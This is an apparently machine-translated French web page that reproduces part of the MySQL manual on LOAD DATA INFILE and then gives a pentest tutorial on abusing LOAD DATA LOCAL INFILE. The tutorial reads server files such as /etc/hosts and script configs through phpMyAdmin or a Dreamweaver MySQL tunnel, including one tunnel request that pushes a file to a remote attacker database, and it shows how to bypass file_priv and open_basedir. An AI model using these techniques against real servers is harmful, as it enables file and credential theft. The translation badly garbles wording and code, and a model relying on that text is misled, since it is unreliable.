La cloche.

Il y a ceux qui ont lu cette nouvelle devant vous.
Abonnez-vous pour recevoir des articles frais.
E-mail
Nom
Nom de famille
Comment voulez-vous lire la cloche
Sans spam
Load Data Infile "File_Name.txt" dans la table Tbl_name [joint par "]]] [(Name Col_Name, ...)]

La commande de chargement de données en infime lit les lignes d'un fichier texte et les insère dans une table à une vitesse très élevée. Si le mot clé est spécifié, le fichier est lu à partir de l'hôte client. Si la locale n'est pas spécifiée, le fichier doit figurer sur le serveur. (L'option locale est disponible dans MySQL version 3.22.6 et ultérieure.)

Si les fichiers texte que vous souhaitez lire sont sur le serveur, alors pour des raisons de sécurité, ces fichiers doivent être placés dans le répertoire de base de données ou être lus à tous les utilisateurs. De plus, pour appliquer la commande de charge de données infime aux fichiers de serveur, vous devez avoir des privilèges de fichier pour l'hôte du serveur. Voir la section 4.2.7 Privilèges fournis par MySQL.

Dans les versions de MySQL 3.23.49 et MySQL 4.0.2, la commande locale ne fonctionnera pas dans les cas si le démon mysqld fonctionne avec le paramètre --Local-infile \u003d 0 ou si le client n'inclut pas la possibilité de soutenir la locale. Voir la section 4.2.4 Problèmes de sécurité liés à la commande locale de données de charge.

Si le mot-clé Low_Priority est spécifié, l'exécution de cette commande de données de charge sera détenue jusqu'à ce que d'autres clients ont suivi la lecture de cette table.

Si le mot clé simultané est spécifié lors de votre travail avec des tables MyISAM, les autres threads peuvent récupérer des données de la table lors de la commande de données de charge. Bien entendu, l'utilisation de cette fonctionnalité sera légèrement influencée par la performance des données de charge, même si aucun autre thread n'utilise ce tableau en même temps.

Lors de l'utilisation de l'option locale, l'exécution peut se produire légèrement plus lente par rapport à la fourniture d'un serveur d'accès au fichier directement, car le contenu du fichier doit passer de l'hôte client sur le serveur. D'autre part, dans ce cas, il n'y a pas besoin de privilèges de fichier pour télécharger des fichiers locaux.

Lorsque vous utilisez des versions MySQL vers 3.23.24 à l'aide de la commande de chargement de données infime, vous ne pouvez pas lire à partir de FIFO. Si vous devez lire à partir de FIFO (par exemple, la sortie GunZip standard), vous devez utiliser des données de charge locales infilières.

Vous pouvez également télécharger des fichiers de données à l'aide de l'utilitaire mysqlimport. Cet utilitaire télécharge des fichiers en envoyant au serveur de commandes d'infiltration de données de charge. L'option --Local permet de lire des fichiers de données MySQLIMPORT à partir d'un hôte client. Vous pouvez spécifier le paramètre --Compress pour obtenir de meilleures performances lorsque vous travaillez via des réseaux lents, si le client et le serveur prennent en charge le protocole de compression de données.

Dans les cas où les fichiers sont sur le serveur, celui-ci fonctionne selon les règles suivantes:

  • Si le chemin absolu (complet) du fichier est spécifié, le serveur utilise ce chemin d'échange inchangé.
  • Si le chemin relatif du fichier est spécifié avec un seul ou plusieurs répertoires initiaux, la recherche de fichier sera implémentée par rapport aux répertoires spécifiés dans le répertoire de données DataDir.
  • Si le chemin est donné au fichier sans spécifier les répertoires initiaux, le serveur recherche ce fichier dans le répertoire utilisé de la base de données.

Il s'ensuit que le fichier spécifié comme `./myfile.txt" est lu dans le répertoire serveur, tandis que le fichier spécifié comme `myfile.txt" est lu dans le répertoire de la base de données utilisé. Par exemple, les données de chargement de commandes suivantes indiquent le fichier data.txt dans le répertoire de base de données pour DB1, car DB1 est la base de données actuelle, même si cette commande contient explicitement la note pour télécharger le fichier sur la table de base de données DB2:

Mysql\u003e utiliser db1; MySQL\u003e Load Data Infile "data.txt" en tableau DB2.MY_TABLE;

Les mots-clés remplacent et ignorent le traitement du traitement des enregistrements d'entrée, qui enliquant des enregistrements existants avec les mêmes valeurs de clés uniques. Si vous spécifiez le remplacement, les nouvelles lignes remplaceront l'existant avec la même clé unique. Si vous spécifiez Ignorer, les lignes d'entrée ayant la même clé unique que possible, seront ignorées. Si aucun des paramètres n'est spécifié, alors lorsque la valeur de la clé en double est détectée, une erreur se produit et la partie restante du fichier texte est ignorée.

Si les données sont chargées à partir du fichier local à l'aide du mot clé local, le serveur ne pourra pas interrompre le transfert de données au milieu de cette opération, par défaut, l'exécution de la commande se produit de la même manière que dans le cas où elle est indiqué par ignorer.

Lorsque vous utilisez des données de charge de charge sur des tables myisam vides, tous les index non uniques sont créés dans un package séparé (comme en réparation). Cela accélère généralement de manière significative le travail d'infiltration de données de charge dans le cas d'un grand nombre d'index.

La commande Load Data Infile est facultative pour sélectionner ... dans une tenue. Voir la section 6.4.1 Sélectionner la syntaxe de l'opérateur. Pour enregistrer des données de la base de données dans le fichier, sélectionnez ... dans la tenue de service. Pour lire les données à la base de données, chargez l'infileur de données est utilisé. Les champs et lignes de syntaxe sont les mêmes dans les deux équipes. Les deux parties sont facultatives, mais si elles sont spécifiées, les champs doivent préciser les lignes.

Si des champs sont spécifiés, chacun de ses sousjoints (terminé par, joint et échappé par) est également facultatif, mais il est nécessaire de spécifier au moins l'un d'entre eux.

Si l'instruction Champs n'est pas définie, alors par défaut, ses paramètres recevront les valeurs suivantes:

Champs terminés par "\\ T" entouré de "" échappé par "\\\\"

Si l'instruction Lines n'est pas définie, alors par défaut, il dispose de la structure suivante:

Lignes terminées par "\\ n"

En d'autres termes, lorsque les installations par défaut, la commande de données de données infime lors de la lecture des données d'entrée fonctionnera comme suit:

  • Recherchez des extrémités des lignes sous forme de symboles `\\ n»
  • Faites glisser les lignes vers les champs par des symboles d'onglets.
  • Ne vous attendez pas à ce que les champs puissent être enfermés dans les symboles de citation.
  • Interpréter les onglets rencontrés, une nouvelle chaîne ou «\\», présentée «\\», en tant que littéraux qui font partie de la valeur du champ.

Et, au contraire, si les paramètres par défaut sont valides lors de l'enregistrement de la sortie, la commande SELECT ... dans la commande OUTFILE fonctionnera comme suit:

  • Insérer des onglets entre les champs.
  • Ne pas entrer dans des champs dans les symboles de citation. Utilisez les symboles `\\» pour blinder des instances d'onglets, d'une nouvelle chaîne ou de «\\», qui apparaissent parmi les champs du champ.
  • Insérez les symboles de la nouvelle chaîne à la fin de chaque enregistrement.

Il convient de garder à l'esprit que, dans l'entrée de champs s'est échappé par` \\ ", vous devez spécifier deux échecs inverse pour la valeur qui devrait être lue comme une réaction.

L'option Ignorer Number Lines peut être utilisée pour ignorer l'en-tête de nom de colonne au début du fichier:

MySQL\u003e Charger les données infilières "/ TMP / Nom_fichier" dans Table Test Ignorer 1 lignes;

Lors de l'utilisation de SELECT ... dans OUTFILE ENFEMENT AVEC DES DONNÉES DE CHARGEMENT INFILE pour que les données de la base de données soient à lire dans le fichier, puis revenez du fichier à la base de données, les options que les champs de traitement et les lignes doivent être coïnés pour les deux commandes. Sinon, charger les données infilières ne pourront pas interpréter correctement le contenu de ce fichier. Supposons que la commande SELECT ... INO OUTFILE est utilisée pour écrire dans un fichier avec des champs séparés par des virgules:

MySQL\u003e SELECT * dans les champs OUTFILE "DATA.TXT" terminés par "", de ...;

Mysql\u003e charger des données infilières "data.txt" dans les champs Tableau de table2 terminés par "", ";

Mysql\u003e charger des données infilières "data.txt" dans les champs Tableau de table2 terminés par "\\ T";

Un résultat similaire aurait eu lieu si chaque ligne d'entrée a été interprétée comme un champ distinct.

La commande Load Data Infile peut également être utilisée pour lire des fichiers obtenus à partir de sources externes. Par exemple, les champs du fichier de format de base de données DBASE seront séparés par des virgules et fermés dans des guillemets doubles. Si les lignes de ce fichier se terminent par les symboles d'une nouvelle ligne, pour enregistrer le fichier, vous pouvez utiliser la commande suivante dans laquelle le réglage des options, des champs de traitement et des lignes illustrent:

MySQL\u003e Load Data Infile "data.txt" dans les champs Table Tbl_Name terminés par "", conçus par "" "lignes terminées par" \\ n ";

Toute des options de traitement des champs et des chaînes peut définir une chaîne vide (""). Si la chaîne n'est pas vide, les options de champs enfermés et les champs échappés par doivent contenir un caractère. Les valeurs des champs terminées par des options et des lignes terminées par peuvent contenir plus d'un caractère. Par exemple, pour enregistrer des lignes se terminant par des paires `` Traduction de la traduction de la ligne "" (comme dans les fichiers texte MS DOS ou Windows), vous devez spécifier l'expression suivante: lignes terminées par "\\ r \\ n".

Créez des blagues de table (une clé primaire NU NU NULL NULLY_INCREMEMENT, JOKE Texte non NULL); Charger des données infilières "/tmp/jokes.txt" dans les champs de blagues de table terminés par ""; Lignes terminées par "\\ n %% \\ n" (blague);

L'option BULA de champs de champs est utilisée pour contrôler les champs enfermés dans les caractères spécifiés. Si l'option est éventuellement omise, alors dans la sortie (sélectionnez ... dans Outfile) Tous les champs seront enfermés dans les caractères spécifiés dans lesquels sont joints. Un exemple d'une telle sortie (dans laquelle la virgule est utilisée comme séparateur de champ) est indiquée ci-dessous:

"1", "une chaîne", "100,20" "2", "une chaîne contenant une virgule", "102.20" "3" "une chaîne contenant a \\" citation "," 102.20 "" 4 "," Une chaîne contenant a \\ "citation et virgule", "102,20"

Si le paramètre éventuellement spécifié, seuls les champs Char et Varcharne sont mis en surbrillance dans le symbole:

1, "une chaîne", 100,20 2, "une chaîne contenant une virgule", 102,20 3, "une chaîne contenant a \\" citation ", 102,20 4," une chaîne contenant a \\ ", ciote et virgule", 102.20

Il convient de garder à l'esprit que l'apparition de caractères enfermés à l'intérieur de la taille du champ est blindée en appliquant le préfixe de l'échappée par. Il convient également de garder à l'esprit que si une valeur vide est spécifiée en échappée par, il est possible de créer une sortie que l'opérateur d'infiltration de données de charge ne peut pas être lu correctement. Par exemple, si le symbole de blindage est une chaîne vide, la sortie présentée ci-dessus s'avérera comme indiqué ci-dessous. Remarque: le deuxième champ de la quatrième ligne contient une virgule après la citation, qui (à tort) semble limiter ce champ:

1, "une chaîne", 100.20 2, "une chaîne contenant une virgule", 102,20 3, "une chaîne contenant un" devis ", 102,20 4," une chaîne contenant un ", une citation et une virgule", 102.20

Pour entrer dans le caractère ci-joint, si tel est le cas, est retiré des deux extrémités des champs. (Ceci est vrai quel que soit le paramètre éventuellement optionnellement: lorsque vous travaillez avec les données d'entrée, l'option éventuellement n'est pas prise en compte.) Si le caractère ci-joint est trouvé sur lequel le symbole échappé par le symbole est précédé, alors il est interprété comme partie de la valeur de champ actuelle. De plus, les doubles caractères enfermés par les champs à l'intérieur du champ sont interprétés comme des caractères simples enfermés par, si ce champ commence par ce symbole lui-même. Par exemple, s'il est spécifié par ci-joint par "", les guillemets sont traités, comme indiqué ci-dessous:

"Le" Big "Boss" -\u003e Le "Big" Boss Le "Big" Boss -\u003e Le "Big" Boss Le "Big" "Boss" "Boss -\u003e Le" Big "" Boss

Les champs échappés par option permettent de contrôler l'enregistrement ou la lecture de caractères spéciaux. Si les champs échappés par caractère ne sont pas vides, il est utilisé comme préfixe pour les caractères suivants dans la sortie:

  • Champs de symboles échappés par
  • Champs inclus par le symbole
  • Premier symbole des champs terminés par et des lignes terminées par
  • Symbole ASCII 0 (en réalité après que le symbole de blindage est écrit ASCII `0 et non octets avec une taille zéro)

Si le symbole de champs s'est échappé par vide, aucun caractère n'est blindé. En fait, cela n'a aucun sens de spécifier un symbole de blindage vide, en particulier si les champs des champs des données traitées contiennent l'un des caractères spécifiés dans la liste ci-dessus.

Si les champs échappés par caractère ne sont pas vides, dans le cas de la saisie de données d'entrée d'un tel caractère, le symbole est établi littéralement dans le cadre de la valeur de champ. Les exceptions sont blindées `0" ou `n» (par exemple, \\ 0 ou \\ n, si le symbole de blindage est \\ \\). Ces séquences sont interprétées comme ASCII 0 (octets à valeur zéro) et null. Voir le traitement null Règles.

Pour obtenir plus d'informations complètes sur le symbole du symbole du bouclier \\ \\, voir la section 6.1.1 Littéraux: Présentation des rangées et des chiffres.

Dans certains cas, des options de traitement sur le terrain et des chaînes interagissent:

  • Si les lignes terminées par une chaîne vide et des champs terminés par ne sont pas une chaîne vide, les lignes se terminent également par les champs de caractères terminés par.
  • Si les deux champs terminés par et que les champs joints sont vides ("), un format de ligne fixe est appliqué (sans séparateurs). Dans un format de ligne fixe, aucun séparateur n'est fourni entre les champs. Au lieu de cela, lors de la lecture et de la rédaction des valeurs des colonnes, les colonnes de largeur `` Sortie "" sont utilisées. Par exemple, si la colonne est déclarée par int (7), les valeurs de cette colonne sont écrites à l'aide de champs de 7 caractères. Les valeurs d'entrée pour cette colonne sont obtenues en lisant 7 caractères. Le format avec une chaîne fixe affecte également le traitement des quantités nulles (voir ci-dessous). Notez que le format de taille fixe ne fonctionnera pas lors de l'utilisation d'un ensemble de caractères multibyte.

Les valeurs nulles en fonction des champs et des lignes d'options utilisées seront traitées différemment:

  • Pour par défaut, les quantités de champs et lignes null sont écrites comme \\ n pour la sortie et \\ N sont lues comme NULL pour une entrée (en fonction de l'hypothèse que le symbole échappé par Symbole est «\\»).
  • Si les champs ci-joints ne sont pas vides, le champ dont la valeur est un mot à partir des lettres NULL, se lit comme une valeur null (Contrairement au mot NULL conclu entre les champs champs joints, qui est lu comme la chaîne "null").
  • Si les champs échappés par sont vides, NULL est écrit comme mot null.
  • Dans un format de chaîne fixe (qui a lieu si les deux spécificateurs sont terminés par et des champs ci-joints sont vides), NULL est écrit comme une chaîne vide. Notez que, par conséquent, la valeur NULL et une chaîne vide de cette table seront indiscernables lors de l'écriture dans un fichier, car les deux sont enregistrées comme chaînes vides. S'il est nécessaire que ces valeurs soient différentes lorsque vous lisez la lecture du fichier, vous ne devez pas utiliser de format avec une chaîne fixe.

Certains cas non pris en charge par l'opérateur de chargement des données infilives:

  • Des lignes avec une taille fixe (les deux options sont terminées par et des champs enfermés par des colonnes vides) et des colonnes de blob ou de texte.
  • Si le séparateur est spécifié, ce qui coïncide avec un autre ou étant l'autre préfixe, l'infiltration de données de charge ne sera pas en mesure d'interpréter correctement l'entrée. Par exemple, l'approbation des champs suivants entraînera des problèmes: les champs terminés par "" "ci-joint" "
  • Si les champs évoluent par option vide, les champs contenus les champs contenus dans le champ sont le cas des champs contenus ou des lignes terminés par, suivis par les champs terminés par le symbole, conduira à une achèvement prématuré de la lecture ou de la chaîne de champ. la commande de données d'infiltration de données. Cela est dû au fait que l'infileur de données de charge ne peut pas déterminer correctement lorsque le champ ou la chaîne se termine.

L'exemple suivant télécharge toutes les colonnes de la table Persondata:

MySQL\u003e Load Data Infile "persondata.txt" dans la table persondata;

La liste des champs n'est pas spécifiée, par conséquent, la commande d'infiltration de données de charge s'attend à ce que les chaînes d'entrée remplissent chaque colonne de la table. Cela utilise les champs et les valeurs de lignes par défaut.

Si vous souhaitez télécharger uniquement certaines des colonnes de table, vous devez spécifier la liste des colonnes:

MySQL\u003e Load Data Infile "persondata.txt" dans la table persondata (Col1, Col2, ...);

La liste des champs doit être spécifiée dans les cas si l'ordre des champs du fichier d'entrée diffère de l'ordre des colonnes de cette table. Sinon, MySQL ne sera pas en mesure de définir la correspondance des champs et des colonnes injectés de la table.

Si la chaîne a trop peu de champs, les colonnes pour lesquelles il n'y a pas de champs dans le fichier d'entrée ne sont définis sur leurs valeurs par défaut. L'affectation par défaut est décrite dans la section 6.5.3 Section Créer une syntaxe d'opérateur de table.

La valeur du champ vide est interprétée différemment de l'absence de valeur:

  • Pour les types de chaîne, la colonne est installée dans une chaîne vide.
  • Pour les types numériques, la colonne est définie sur 0.
  • Pour les types de date et d'heure, la colonne est définie sur le type correspondant «zéro». Voir la section 6.2.2 Types de données de données et de temps.

Notez que celles-ci sont les mêmes quantités qui seront dans la colonne résultant d'un mode de réalisation explicite d'une chaîne vide par colonnes de chaîne, de types numériques ou de dates ou de types de temps dans la commande insertion ou mise à jour.

Les colonnes horodatées sont installées uniquement à la date ou à l'heure actuelle dans les cas où la valeur NULL est attribuée à la colonne ou (uniquement pour la première colonne horodatamp) si la colonne TIMESTAMP est sortie de la liste des champs, si une telle liste est spécifiée.

Si la ligne d'entrée a trop de champs, les champs inutiles sont ignorés et le nombre d'avertissements augmentera.

La commande d'infiltration de données de charge interprète toutes les lignes d'entrée, de sorte que vous ne pouvez pas spécifier des valeurs numériques pour les colonnes ENUM ou SET ainsi que pour les commandes d'insertion. Tous les valeurs ENUM et SET doivent être spécifiés en tant que lignes!

Lorsque vous utilisez l'API C, vous pouvez obtenir des informations sur la demande en appelant la fonction API MySQL_INFO () à la fin de la requête d'infiltration de données de chargement. Ce qui suit est le format de la chaîne d'informations pour ce cas:

Enregistrements: 1 Supprimé: 0 ignoré: 0 avertissements: 0

Les précautions sont émises dans les mêmes circonstances que lors de l'enregistrement des valeurs de l'insert (voir la section 6.4.3, de la syntaxe d'insertion de l'opérateur), sauf que la commande d'infiltration de données de charge génère en outre des avertissements lorsque trop peu de champs dans l'entrée. ligne. AVERTISSEMENT n'est pas stocké nulle part; Le nombre d'avertissements ne peut être utilisé que pour vérifier si les actions spécifiées ont été effectuées normalement. Si vous devez connaître avec précision les raisons des avertissements, vous devez exécuter la commande SELECT ... INO OUTFILE à un autre fichier et comparer le résultat avec le fichier d'entrée d'origine est le seul moyen d'obtenir de telles informations.

Si vous devez effectuer des données de charge à lire à partir du canal, vous pouvez appliquer le truc suivant:

Mkfifo / mysql / dB / x / x chmod 666 / mysql / dB / x / x cat / nt / mysql / db / x / x mysql -e "charger des données infilières" x "dans la table x" x "x

Lors de l'utilisation de la version MySQL plus âgée de 3,23,25, ce qui précède peut être effectué uniquement avec les données de charge locales infilières.

Pour obtenir plus d'informations sur INSERT EFFICACIENCE COMPRENAIRE AVEC DES DONNÉES DE CHARGEMENT INFILE et augmentez la vitesse d'infiltration de données de charge, voir la section section

Je décris une situation assez fréquente. Pendant la période de Penzet, l'accès à PhpMyAdmin a été reçu sur un hôte distant, mais il ne parvient pas à y parvenir aux fichiers. Le notoire file_priv \u003d Aucun indicateur est à blâmer pour tout dans les paramètres de démon MySQL. Beaucoup dans cette situation abandonnent et croient que les fichiers de l'hôte ne sont donc pas lus. Mais ce n'est pas toujours le cas.

Avertissement

Toutes les informations sont fournies uniquement à des fins d'information. Ni les éditeurs ni l'auteur ne sont responsables de tout préjudice éventuel causé par le matériel de cet article.

Prélude

En ce qui concerne l'interaction du CFFD MySQL avec le système de fichiers, rappelez-vous, en règle générale:

  • fonction LOAD_FILE qui vous permet de lire des fichiers sur le serveur;
  • sélectionnez ... dans Office, avec lequel vous pouvez créer de nouveaux fichiers.

En conséquence, si l'accès à phpmyadmin ou à tout autre client sur une machine distante est obtenu, une probabilité élevée via MySQL vous pouvez accéder au système de fichiers. Mais à condition que le drapeau FILE_PRIV \u003d Oui est installé dans les paramètres de démon, ce qui se produit pas toujours. Dans ce cas, nous devons nous rappeler que l'autre opérateur, beaucoup moins connu, mais avec une fonctionnalité assez puissante. Je parle de l'opérateur d'infirmerie de données sur les données de charge, à propos des caractéristiques duquel sera également racontée dans cet article.

Interaction PHP et MySQL

PHP est la langue la plus courante pour la création d'applications Web, il convient donc de considérer plus en détail comment elle interagit avec la base de données.

En PHP4, les bibliothèques client MySQL ont été activées par défaut et incluses dans la livraison PHP. Il était donc possible d'utiliser l'utilisation de MySQL lors de l'installation, en spécifiant l'option

Sans mysql.

PHP5 vient sans une bibliothèque cliente. Sur * Nix-Systems collectez généralement PHP5 avec la bibliothèque libmysqlient installée sur le serveur, simplement en spécifiant l'option

Avec-mysql \u003d / usr

lors de l'assemblage. Dans le même temps, à la version 5.3 pour interagir avec le serveur MySQL, la bibliothèque de la bibliothèque client de MySQL à bas niveau (libmysql) est utilisée, l'interface qui n'est pas optimisée pour la communication avec les applications PHP.

Pour le PHP 5.3 et supérieur, MySQL Native Driver (MySQLND) a été développé et dans la version nouvellement apparue de PHP 5.4, ce pilote est utilisé par défaut. Bien que le pilote MySQL intégré soit écrit en tant qu'extension PHP, il est important de comprendre qu'il ne fournit pas de nouveau programmeur d'API. API à la base de données MySQL pour le programmeur fournit les extensions de MySQL, MySQLI et PDO_MYSQL. Ces extensions peuvent utiliser les possibilités du pilote MySQL intégré pour communiquer avec le démon MySQL.

L'utilisation du pilote intégré MySQL donne quelques avantages par rapport à la bibliothèque client MySQL: Par exemple, vous n'avez pas besoin d'installer MySQL pour collecter PHP ou utiliser des scripts à l'aide de la base de données. Plus d'informations sur le pilote natif MySQL et ses différences de libmysql peuvent être trouvées dans la documentation.

L'expansion de MySQL, MySQLI et PDO_MYSQL peuvent être configurées individuellement pour utiliser libmysql ou mysqlnd. Par exemple, pour configurer l'extension MySQL pour utiliser MySQL Client Library, et les extensions MySQLI à utiliser avec MySQL Native Driver, vous devez spécifier les options suivantes:

`./configure --with-mysql \u003d / usr / bin / mysql_config --with-mysqli \u003d mysqlnd`

Syntaxe Charger les données.

Charger l'opérateur de données, car la documentation se lit, lit les lignes du fichier et les chargent dans une table à une vitesse très élevée. Il peut être utilisé avec le mot-clé local (disponible dans les versions MySQL 3.22.6 et ultérieures), ce qui indique où les données seront téléchargées à partir de. Si le mot local est manquant, le serveur charge le fichier spécifié de sa machine locale à la table et non de la machine cliente. C'est-à-dire que le fichier sera lu non par le client MySQL, mais le serveur MySQL. Mais pour cette opération, encore une fois, le privilège de fichier est nécessaire (fichier_priv \u003d YES drapeau). Exécution de l'opérateur Dans ce cas, vous pouvez comparer à l'aide de la fonction Load_File - avec la seule différence que les données sont chargées dans la table et non de la sortie. Ainsi, l'utilisation de données de charge infime pour lire des fichiers n'a de sens que lorsque la fonction LOAD_FILE n'est pas disponible, c'est-à-dire sur des versions très anciennes du serveur MySQL.

Mais si l'opérateur est utilisé dans ce formulaire: Charger les données Local Infile, c'est-à-dire à l'aide du mot local, le fichier est déjà lu par le programme client (sur la machine client) et se trouve sur le serveur où se trouve la base de données. Dans le même temps, pour accéder aux fichiers, le privilège de fichier, naturellement, n'est pas nécessaire (car tout se passe sur la machine du client).

Extensions MySQL / MYSQLI / PDO_MYSQL et les données de charge de l'opérateur locales

Dans l'expansion de MySQL, la possibilité d'utiliser local est ajustée par php_ini_system Directive MySQL.Allow_Local_Infile. Par défaut, cette directive est de 1, et donc l'opérateur dont vous avez besoin est généralement disponible. En outre, la fonctionnalité MySQL_Connect vous permet d'inclure la possibilité d'utiliser des données de charge locales si une constante 128 se situe dans la cinquième argument.

Lorsque l'extension PDO_MYSQL est utilisée pour se connecter à la base de données, nous pouvons également activer la prise en charge locale à l'aide de la constante de PDO :: MySQL_ATTR_LOCAL_INFILE (INTEGER).

$ Pdo \u003d nouveau PDO ("mysql: hôte \u003d localhost; dbname \u003d mydb", "utilisateur", "passe", tableau (PDO :: mysql_attr_local_infile \u003d\u003e 1));

Mais les plus grandes opportunités de travail avec l'opérateur de données de charge fournissent l'extension MySQLI. Cette expansion est également fournie par la directive php_ini_system de mysqli.allow_local_infile, qui régule l'utilisation de la section locale.

Si la connexion est effectuée à l'aide de MySQLI_REAL_Connect, utilisez MySQLI_OPTIONS, nous pouvons activer et désactiver le support local. De plus, cette fonctionnalité d'extension MySQLI_SET_LOCAL_INFILE_HANDLER est disponible, ce qui vous permet d'enregistrer une fonction de rappel pour traiter le contenu des fichiers lus par l'opérateur d'infiltration local de données de chargement.

Fichiers de lecture

Le lecteur attentionné a probablement déjà deviné que si nous avons un compte dans PhpmyAdmin, nous pourrons lire des fichiers arbitraires sans avoir un privilège de fichier, et même contourner les restrictions Open_Basedir. Après tout, c'est très souvent un client (dans ce cas phpmyadmin) et le démon mysql est sur la même machine. Malgré les limitations des restrictions de sécurité du serveur MySQL, nous pouvons utiliser le fait que cette stratégie ne fonctionne pas pour le client et de lire toujours les fichiers du système, en fermant dans la base de données.

Algorithme simple. Il suffit d'exécuter les requêtes SQL suivantes:

  1. Créez une table dans laquelle nous enregistrerons le contenu des fichiers: Créez Table Temp (Texte de contenu);
  2. Nous envoyons le contenu du fichier au tableau créé: charger des données locales infilières "/ etc / hosts" dans les champs TMP Table terminés par "EOF" échappé par "" lignes terminées par "EOF";

Voila. Le contenu du fichier / etc / hosts est maintenant dans la table TEMP. Avez-vous besoin de lire des fichiers binaires? Pas de problème. Si dans la première étape, nous créerons une telle table:

Créer une table "bin" ("bin" blob non null) moteur \u003d myisam;

qu'il sera possible de télécharger les deux fichiers binaires. True, des bits inutiles seront ajoutés à la fin des fichiers, mais ils peuvent être supprimés dans n'importe quel éditeur Hex Hex. De cette manière, vous pouvez télécharger des scripts du serveur protégé par IonCube / Zend / Truecrypt / Nusphere et décodez-les.

Un autre exemple de comment utiliser les données de charge Local Infile est de trouver le chemin de la configuration Apache. Cela se fait comme suit:

  1. D'abord apprendre le chemin du binaire, pour cela, nous avons lu / proc / auto / cmdline décrit ci-dessus.
  2. Puis lire directement binaire, où nous recherchons httpd_root / server_config_file.


Il est clair que dans cette situation, les scripts phpmyadmin jouent le rôle d'un client à se connecter à la base de données. Et au lieu de phpmyadmin, vous pouvez utiliser toute autre interface Web pour travailler avec MySQL.

Par exemple, vous pouvez utiliser des scripts pour la sauvegarde et la restauration de la base. De retour en 2007, le pirate français sous le Nick Acidroot a fourni en public une exploitement basée sur cette remarque et la possibilité de lire des fichiers à partir du panneau d'administration PHPBB.<= 2.0.22.

Tunnel est pratique. Tunnel dangereux

Lors de l'installation d'applications Web complexes, un accès direct à la base de données est souvent requis, par exemple, pour la configuration initiale et le réglage des scripts. Par conséquent, dans certains cas, il est conseillé d'installer un script simple sur le serveur - le tunnel dite MySQL, ce qui vous permet d'effectuer des demandes à la base de données à l'aide d'un client pratique au lieu de lourd pHPMyAdmin.

Il y a beaucoup de tunnels pour travailler avec une base de données, mais tous ne sont pas très courants. L'un des plus célèbres est-ce que Macromedia Dream Weaver Server Scripts Server. Voir le code source de ce script peut être.

La principale différence entre le tunnel MySQL de phpmyadmin est la nécessité de saisir non seulement le login et le mot de passe de la base de données, mais également l'hôte avec lequel vous devez vous connecter. Dans le même temps, les tunnels sont souvent réservés, bien, juste au cas où, vous ne savez jamais ce que d'autre devra soutenir. Il semble être utilisé par eux, seulement s'il y a un compte dans la base de données - alors qu'est-ce qui a peur? En bref, il semble que le tunnel d'une menace de sécurité spéciale pour le serveur Web ne supporte pas. Mais en fait, tout n'est pas si bon, car il semble au premier abord.

Considérez la situation suivante. Laissez le site Web de site.com avec le tunnel installé http://site.com/_mmmservscripts/mmmmservscripts/mmhttpdb.php installé Onser. Supposons que sur le serveur, mais il existe une occasion d'utiliser des données de charge locales (comme indiqué ci-dessus, ceci est, par exemple, éventuellement pendant les paramètres par défaut). Dans ce cas, nous pouvons prendre un serveur MySQL distant, dont la base est autorisée de partout et qui vous permet également d'utiliser local et de vous connecter à ce serveur à l'aide du tunnel. Connectez des données avec un serveur MySQL distant:

DB Host: xx.xx.xx.xxx dB Nom: nom_remote_db dB Utilisateur: Notre_User DB Pass: ur_pass

Dans cette situation, le serveur A jouera le rôle du client et nous pouvons donc envoyer des fichiers de son hôte à une base de données distante ou, en d'autres termes, lire des fichiers. La prochaine demande non accompagnée:

Type \u003d mySQL & timeout \u003d 100 & host \u003d xx.xx.xx.xxx & base de données \u003d nom_remote_db & username \u003d Our_user & Mot de passe \u003d Our_Pass & Opcode \u003d Exécutesql & SQL \u003d Charger les données locales infilières /path/to/script/setup_options.php "En Table TMP_TBL champs terminés par" __eof__ "échappé par" "lignes terminées par" __eof__ "

En fait, cette vulnérabilité est plus dangereuse que la lecture habituelle des fichiers: après tout, il vous permet de lire les fichiers de configuration des scripts installés sur le serveur A. via le même tunnel, vous pouvez obtenir un accès direct à la base de données qui contrôle ces scripts. La technique décrite ci-dessus sur l'utilisation de tunnels musculaires peut être un peu généralisée et s'appliquer lors du fonctionnement des vulnérabilités de non-convation.


Serveur client.

Afin de mieux comprendre les possibilités de données de charge, il est nécessaire de rappeler que le Sugd MySQL utilise l'architecture de serveur client traditionnelle. Travailler avec MySQL, nous travaillons réellement avec deux programmes:

  • le programme Server de base de données situé sur l'ordinateur où la base de données est stockée. Le démon MySQLD "liste" les demandes de clients sur le réseau et accède au contenu de la base de données, fournissant les informations demandées par les clients. Si MySQLD fonctionne avec l'option --Local-Infile \u003d 0, la locale ne fonctionnera pas;
  • le programme client se connecte au serveur et transmet des demandes au serveur. Distribution Cubd MySQL inclut plusieurs programmes clients: Client de console MySQL (le plus couramment utilisé), ainsi que MySQLShow, MySQLIMPORT, MYSQLSHOW, MYSQLIMPORT et ainsi de suite. Et si nécessaire, vous pouvez même créer votre programme client basé sur la bibliothèque client LIBMYSQL standard, qui est livrée avec la coupe MySQL.

Si l'utilisation du client Standard MySQL ne parvient pas à utiliser l'opérateur local de données de charge, il est nécessaire d'utiliser la touche -Local-infile:

Mysql -local-infile sampdb mysql\u003e Données de charge infilière locale "Member.txt" dans un élément de table;

Simplifiez dans l'option de fichier / smy.cnf pour le client:

Local-infile \u003d 1

Il est important de noter que, par défaut, tous les clients et les bibliothèques MySQL sont compilés avec l'option --Enable-Local-Infile pour fournir une compatibilité avec les versions MySQL 3.23.48 et plus anciennes, de sorte que les données de charge locales sont généralement disponibles pour les clients standard. Cependant, les commandes au serveur MySQL ne sont principalement pas envoyées de la console, mais des scripts, les langues de développement Web disposent également de clients de travailler avec une base de données pouvant différer de la fonctionnalité du client Standard MySQL.

Bien sûr, cette caractéristique de l'opérateur de données de charge peut constituer une menace pour la sécurité du système. Par conséquent, à commencer par la version de MySQL 3.23.49 et MySQL 4.0.2 (4.0.13 pour la victoire), l'option locale ne fonctionnera que si Les deux sont client et serveur - le permettent.

Contourner les restrictions Open_Basedir

L'utilisation de données de charge vous permet souvent de contourner des restrictions Open_Basedir. Cela peut être utile si, par exemple, nous avons accès à un répertoire d'un utilisateur sur un hébergement partagé, mais nous souhaitons lire les scripts du répertoire domestique d'un autre utilisateur. Puis en définissant un tel script

une)); $ E \u003d $ pdo-\u003e exec ("charger des données locales infilières" ./path/to/file "dans les champs de test de table terminés par" __eof__ "échappé par" "lignes terminées par" __eof__ ""); $ pdo \u003d null; ?\u003e

Conclusion

